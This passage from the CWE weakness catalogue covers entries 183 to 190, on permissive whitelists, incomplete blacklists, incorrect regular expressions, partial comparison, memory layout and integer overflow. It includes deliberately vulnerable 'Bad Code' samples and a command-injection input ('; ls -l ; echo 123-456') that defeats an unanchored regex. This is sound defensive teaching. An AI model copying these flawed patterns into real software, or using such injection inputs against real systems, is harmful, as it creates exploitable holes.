When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede		33	Path Traversal: '....' (Multiple Dot)		1000 58
CanPrecede		34	Path Traversal: '.../'		1000 60
CanPrecede		35	Path Traversal: '.../.../'		1000 62
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors		<b>699</b> 332
ChildOf		693	Protection Mechanism Failure		<b>1000</b> 1074
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input		<b>711</b> 1116
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)		<b>844</b> 1291
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation		<b>888</b> 1390
CanFollow		185	<i>Incorrect Regular Expression</i>		1000 355

## Relationship Notes

Overlaps regular expressions, although an implementation might not necessarily use regex's.

## Relevant Properties

- Trustability

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Collapse of Data into Unsafe Value
CERT Java Secure Coding	IDS11-J	Eliminate noncharacter code points before validation

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Stripping Vulnerabilities", Page 437.. 1st Edition. Addison Wesley. 2006.

# CWE-183: Permissive Whitelist

Weakness ID: 183 (*Weakness Base*)

Status: Draft

## Description

### Summary

An application uses a "whitelist" of acceptable values, but the whitelist includes at least one unsafe value, leading to resultant weaknesses.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Weakness Ordinalities

**Primary** (*where the weakness exists independent of other weaknesses*)

### Relationships

Nature	Type	ID	Name	W	Page
ChildOf	<b>C</b>	171	Cleansing, Canonicalization, and Comparison Errors	<b>699</b>	332
CanPrecede	<b>B</b>	434	Unrestricted Upload of File with Dangerous Type	1000	742
ChildOf	<b>C</b>	693	Protection Mechanism Failure	<b>1000</b>	1074
ChildOf	<b>C</b>	697	Insufficient Comparison	1000	1078
ChildOf	<b>C</b>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
<i>CanAlsoBe</i>	<b>B</b>	186	<i>Overly Restrictive Regular Expression</i>	1000	356
<i>PeerOf</i>	<b>B</b>	625	<i>Permissive Regular Expression</i>	1000	973
<i>PeerOf</i>	<b>B</b>	627	<i>Dynamic Variable Evaluation</i>	1000	975
<i>ParentOf</i>	<b>V</b>	942	<i>Overly Permissive Cross-domain Whitelist</i>	1000	1367

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Permissive Whitelist

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
43	Exploiting Multiple Input Interpretation Layers	
71	Using Unicode Encoding to Bypass Validation Logic	

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Eliminating Metacharacters", Page 435.. 1st Edition. Addison Wesley. 2006.

# CWE-184: Incomplete Blacklist

Weakness ID: 184 (*Weakness Base*)

Status: Draft

## Description

## Summary

An application uses a "blacklist" of prohibited values, but the blacklist is incomplete.

## Extended Description

If an incomplete blacklist is used as a security mechanism, then the software may allow unintended values to pass into the application logic.

## Time of Introduction

- Implementation
- Architecture and Design

## Applicable Platforms

### Languages

- All

## Common Consequences

### Access Control

### Bypass protection mechanism

## Detection Methods

### Black Box

Exploitation of incomplete blacklist weaknesses using the obvious manipulations might fail, but minor variations might succeed.

## Demonstrative Examples

The following code attempts to stop XSS attacks by removing all occurrences of "script" in an input string.

### Java Example:

*Bad Code*

```
public String removeScriptTags(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

## Observed Examples

Reference	Description
CVE-2002-0661	"\" not in blacklist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
CVE-2004-0542	Programming language does not filter certain shell metacharacters in Windows environment.
CVE-2004-0595	XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. MIE and validate-before-cleanse.
CVE-2004-2351	Resultant XSS from incomplete blacklist (only <script> and <style> are checked).
CVE-2005-1824	SQL injection protection scheme does not quote the "\" special character.
CVE-2005-2184	Incomplete blacklist prevents user from automatically executing .EXE files, but allows .LNK, allowing resultant Windows symbolic link.
CVE-2005-2782	PHP remote file inclusion in web application that filters "http" and "https" URLs, but not "ftp".
CVE-2005-2959	Privileged program does not clear sensitive environment variables that are used by bash. Overlaps multiple interpretation error.
CVE-2005-3287	Web-based mail product doesn't restrict dangerous extensions such as ASPX on a web server, even though others are prohibited.
CVE-2006-4308	Chain: only checks "javascript:" tag
CVE-2007-1343	product doesn't protect one dangerous variable against external modification
CVE-2007-3572	Chain: incomplete blacklist for OS command injection
CVE-2007-5727	Chain: only removes SCRIPT tags, enabling XSS

## Potential Mitigations

### Implementation

### Input Validation

Combine use of black list with appropriate use of white lists.



**Implementation****Input Validation**

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	GO	Page
CanPrecede	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1000		121
CanPrecede	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1000	692	131
CanPrecede	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	1000		184
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	<b>699</b>		332
CanPrecede	B	434	Unrestricted Upload of File with Dangerous Type	1000		742
ChildOf	G	693	Protection Mechanism Failure	<b>1000</b>		1074
ChildOf	G	697	Insufficient Comparison	1000		1078
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>		1388
PeerOf	V	86	<i>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</i>	1000		152
CanAlsoBe	B	186	<i>Overly Restrictive Regular Expression</i>	1000		356
PeerOf	B	625	<i>Permissive Regular Expression</i>	1000		973
StartsChain	GO	692	<i>Incomplete Blacklist to Cross-Site Scripting</i>	709	692	1073

**Relationship Notes**

An incomplete blacklist frequently produces resultant weaknesses.

Some incomplete blacklist issues might arise from multiple interpretation errors, e.g. a blacklist for dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a blacklist for XSS manipulations might ignore an unusual construct that's supported by one web browser, but not others.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Incomplete Blacklist

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
6	Argument Injection	
15	Command Delimiters	
18	Embedding Scripts in Non-Script Elements	
43	Exploiting Multiple Input Interpretation Layers	
63	Simple Script Injection	
71	Using Unicode Encoding to Bypass Validation Logic	
73	User-Controlled Filename	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	
174	Flash Parameter Injection	
182	Flash Injection	

**References**

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.

S. Christey. "Blacklist defenses as a breeding ground for vulnerability variants". February 2006. <<http://seclists.org/fulldisclosure/2006/Feb/0040.html>>.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Eliminating Metacharacters", Page 435.. 1st Edition. Addison Wesley. 2006.

## CWE-185: Incorrect Regular Expression

Weakness ID: 185 (Weakness Class)

Status: Draft

### Description

#### Summary

The software specifies a regular expression in a way that causes data to be improperly matched or compared.

#### Extended Description

When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Other

##### Unexpected state

##### Varies by context

When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.

##### Access Control

##### Bypass protection mechanism

In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.

#### Demonstrative Examples

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

##### Perl Example:

Bad Code

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

#### Observed Examples

Reference	Description
CVE-2000-0115	Local user DoS via invalid regular expressions.
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
CVE-2002-1527	chain: Malformed input generates a regular expression error that leads to information exposure.
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
CVE-2005-0603	Malformed regexp syntax leads to information exposure in error message.
CVE-2005-1061	Certain strings are later used in a regexp, leading to a resultant crash.
CVE-2005-1820	Code injection due to improper quoting of regular expression.

Reference	Description
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to "../".
CVE-2005-3153	Null byte bypasses PHP regexp check.
CVE-2005-4155	Null byte bypasses PHP regexp check.

## Potential Mitigations

### Architecture and Design

#### Refactoring

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	332
CanPrecede	B	182	Collapse of Data into Unsafe Value	1000	350
CanPrecede	B	187	Partial Comparison	1000	357
ChildOf	C	697	Insufficient Comparison	1000	1078
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1388
ParentOf	B	186	<i>Overly Restrictive Regular Expression</i>	699 1000	356
ParentOf	B	625	<i>Permissive Regular Expression</i>	699 1000	973
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

### Relationship Notes

While there is some overlap with whitelist/blacklist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as a whitelist or blacklist. In addition, whitelists and blacklists can be implemented using other mechanisms besides regular expressions.

### Research Gaps

Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Regular Expression Error

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
6	Argument Injection	
15	Command Delimiters	
79	Using Slashes in Alternate Encoding	
174	Flash Parameter Injection	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 10, "Using Regular Expressions for Checking Input" Page 350. 2nd Edition. Microsoft. 2002.

## CWE-186: Overly Restrictive Regular Expression

Weakness ID: 186 (Weakness Base)

Status: Draft

### Description

#### Summary

A regular expression is overly restrictive, which prevents dangerous values from being detected.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

#### Observed Examples

Reference	Description
CVE-2005-1604	MIE. ".php.ns" bypasses ".php\$" regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache)

#### Potential Mitigations

##### Implementation

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanAlsoBe		183	Permissive Whitelist	1000	352
CanAlsoBe		184	Incomplete Blacklist	1000	352
ChildOf		185	Incorrect Regular Expression	<b>699</b> <b>1000</b>	355
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

#### Relationship Notes

Can overlap whitelist/blacklist errors.

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Overly Restrictive Regular Expression

## CWE-187: Partial Comparison

**Weakness ID:** 187 (*Weakness Base*) **Status:** Incomplete

#### Description

##### Summary

The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

##### Extended Description

For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

**Integrity**  
**Access Control**  
**Alter execution logic**  
**Bypass protection mechanism**

**Demonstrative Examples**

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

**C Example:**

*Bad Code*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strcmp(username, inUser, strlen(inUser)) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (! strcmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In AuthenticateUser(), the strcmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

*Attack*

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

**Observed Examples**

Reference	Description
CVE-2000-0979	One-character password by attacker checks only against first character of real password.
CVE-2002-1374	One-character password by attacker checks only against first character of real password.
CVE-2004-0765	Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates.
CVE-2004-1012	Argument parser of an IMAP server treats a partial command "body[p]" as if it is "body.peek", leading to index error and out-of-bounds corruption.

### Potential Mitigations







#### Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	699	332
ChildOf		697	Insufficient Comparison	1000	1078
ChildOf		977	SFP Secondary Cluster: Design	888	1382
CanFollow		185	Incorrect Regular Expression	1000	355
PeerOf		625	Permissive Regular Expression	1000	973
ParentOf		839	Numeric Range Comparison Without Minimum Check	1000	1279

### Relationship Notes

This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Partial Comparison

## CWE-188: Reliance on Data/Memory Layout

Weakness ID: 188 (Weakness Base) Status: Draft

### Description

#### Summary

The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

#### Extended Description

When changing platforms or protocol versions, data may move in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C
- C++

## Common Consequences

- Integrity
- Confidentiality
- Modify memory
- Read memory

Can result in unintended modifications or exposure of sensitive memory.

## Likelihood of Exploit

Low

## Demonstrative Examples

In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

### C Example:

*Bad Code*

```
void example() {
    char a;
    char b;
    *(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

## Potential Mitigations

### Implementation

#### Architecture and Design

In flat address space situations, never allow computing memory addresses as offsets from another memory address.

#### Architecture and Design

Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

### Testing

Testing: Test that the implementation properly handles each case in the protocol grammar.

## Relationships

Nature	Type	ID	Name	Count	Page
ChildOf	<b>C</b>	137	Representation Errors	699	284
ChildOf	<b>G</b>	435	Interaction Error	1000	748
ChildOf	<b>G</b>	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	1153
ChildOf	<b>C</b>	977	SFP Secondary Cluster: Design	888	1382
ParentOf	<b>B</b>	198	Use of Incorrect Byte Ordering	1000	383

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Reliance on data layout

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Structure Padding", Page 284.. 1st Edition. Addison Wesley. 2006.

# CWE-189: Numeric Errors

Category ID: 189 (Category)

Status: Draft

## Description

### Summary

Weaknesses in this category are related to improper calculation or conversion of numbers.

## Applicable Platforms

### Languages

- All



## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	699	18
ParentOf	B	128	Wrap-around Error	699	257
ParentOf	B	129	Improper Validation of Array Index	699	258
ParentOf	B	190	Integer Overflow or Wraparound	699	361
ParentOf	V	195	Signed to Unsigned Conversion Error	699	377
ParentOf	B	198	Use of Incorrect Byte Ordering	699	383
MemberOf	V	635	Weaknesses Used by NVD	635	983
ParentOf	B	681	Incorrect Conversion between Numeric Types	699	1058
ParentOf	C	682	Incorrect Calculation	699	1060
ParentOf	B	839	Numeric Range Comparison Without Minimum Check	699	1279

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Numeric Errors

## CWE-190: Integer Overflow or Wraparound

Weakness ID: 190 (Weakness Base)

Status: Incomplete

## Description

## Summary

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

## Extended Description

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

## Terminology Notes

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- Language-independent

## Common Consequences

## Availability

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: instability**

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

**Integrity****Modify memory**

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

**Confidentiality****Availability****Access Control****Execute unauthorized code or commands****Bypass protection mechanism**

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

**Likelihood of Exploit**

Medium

**Detection Methods****Automated Static Analysis****High**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

**Black Box****Moderate**

Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

**Manual Analysis****High**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Automated Static Analysis - Binary / Bytecode****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

The following image processing code allocates a table for images.

**C Example:***Bad Code*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size `num_imgs`, however as `num_imgs` grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were `num_imgs` long, it may result in many types of out-of-bounds problems (CWE-119).

**Example 2:**

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

**C Example:***Bad Code*

```
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
```

If `nresp` has the value 1073741824 and `sizeof(char*)` has its typical value of 4, then the result of the operation `nresp*sizeof(char*)` overflows, and the argument to `xmalloc()` will be 0. Most `malloc()` implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

**Example 3:**

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

**C Example:***Bad Code*

```
short int bytesRec = 0;
char buf[SOMEBIGNUM];
while(bytesRec < MAXGET) {
    bytesRec += getFromInput(buf+bytesRec);
}
```

In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.

#### Example 4:

In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.

#### C Example:

*Bad Code*

```
#define JAN 1
#define FEB 2
#define MAR 3
short getMonthlySales(int month) {...}
float calculateRevenueForQuarter(short quarterSold) {...}
int determineFirstQuarterRevenue() {
    // Variable for sales revenue for the quarter
    float quarterRevenue = 0.0f;
    short JanSold = getMonthlySales(JAN); /* Get sales in January */
    short FebSold = getMonthlySales(FEB); /* Get sales in February */
    short MarSold = getMonthlySales(MAR); /* Get sales in March */
    // Calculate quarterly total
    short quarterSold = JanSold + FebSold + MarSold;
    // Calculate the total revenue for the quarter
    quarterRevenue = calculateRevenueForQuarter(quarterSold);
    saveFirstQuarterRevenue(quarterRevenue);
    return 0;
}
```

However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.

#### C Example:

*Good Code*

```
...
float calculateRevenueForQuarter(long quarterSold) {...}
int determineFirstQuarterRevenue() {
    ...
    // Calculate quarterly total
    long quarterSold = JanSold + FebSold + MarSold;
    // Calculate the total revenue for the quarter
    quarterRevenue = calculateRevenueForQuarter(quarterSold);
    ...
}
```

Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short.

#### Observed Examples

Reference	Description
CVE-2002-0391	Integer overflow via a large number of arguments.
CVE-2002-0639	Integer overflow in OpenSSH as listed in the demonstrative examples.
CVE-2004-2013	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
CVE-2005-0102	Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
CVE-2005-1141	Image with large width and height leads to integer overflow.
CVE-2010-2753	chain: integer overflow leads to use-after-free

#### Potential Mitigations

**Requirements**

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

**Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

If possible, choose a language or compiler that performs automatic bounds checking.

**Architecture and Design****Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [R.190.5]

**Implementation****Input Validation**

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Use unsigned integers where possible. This makes it easier to perform sanity checks for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

**Implementation**

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.190.3]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.








**Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Implementation****Compilation or Build Hardening**

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

**Relationships**

Nature	Type	ID	Name			Page
ChildOf		20	Improper Input Validation	<b>700</b>		18
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1000	680	226
ChildOf		189	Numeric Errors	699		360
ChildOf		682	Incorrect Calculation	<b>699</b> <b>1000</b>		1060
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>		1132

Nature	Type	ID	Name	V	GO	Page
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734		1134
ChildOf	C	802	2010 Top 25 - Risky Resource Management	800		1228
ChildOf	C	865	2011 Top 25 - Risky Resource Management	900		1309
ChildOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868		1313
ChildOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868		1314
ChildOf	C	998	SFP Secondary Cluster: Glitch in Computation	888		1393
PeerOf	B	128	Wrap-around Error	1000		257
StartsChain	GO	680	Integer Overflow to Buffer Overflow	709	680	1057
MemberOf	V	884	CWE Cross-section	884		1319

### Relationship Notes

Integer overflows can be primary to buffer overflows.

### Functional Areas

- Number processing
- Memory management
- Non-specific, counters

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Integer overflow (wrap or wraparound)
7 Pernicious Kingdoms		Integer Overflow
CLASP		Integer overflow
CERT C Secure Coding	INT03-C	Use a secure integer library
CERT C Secure Coding	INT30-C	Ensure that unsigned integer operations do not wrap
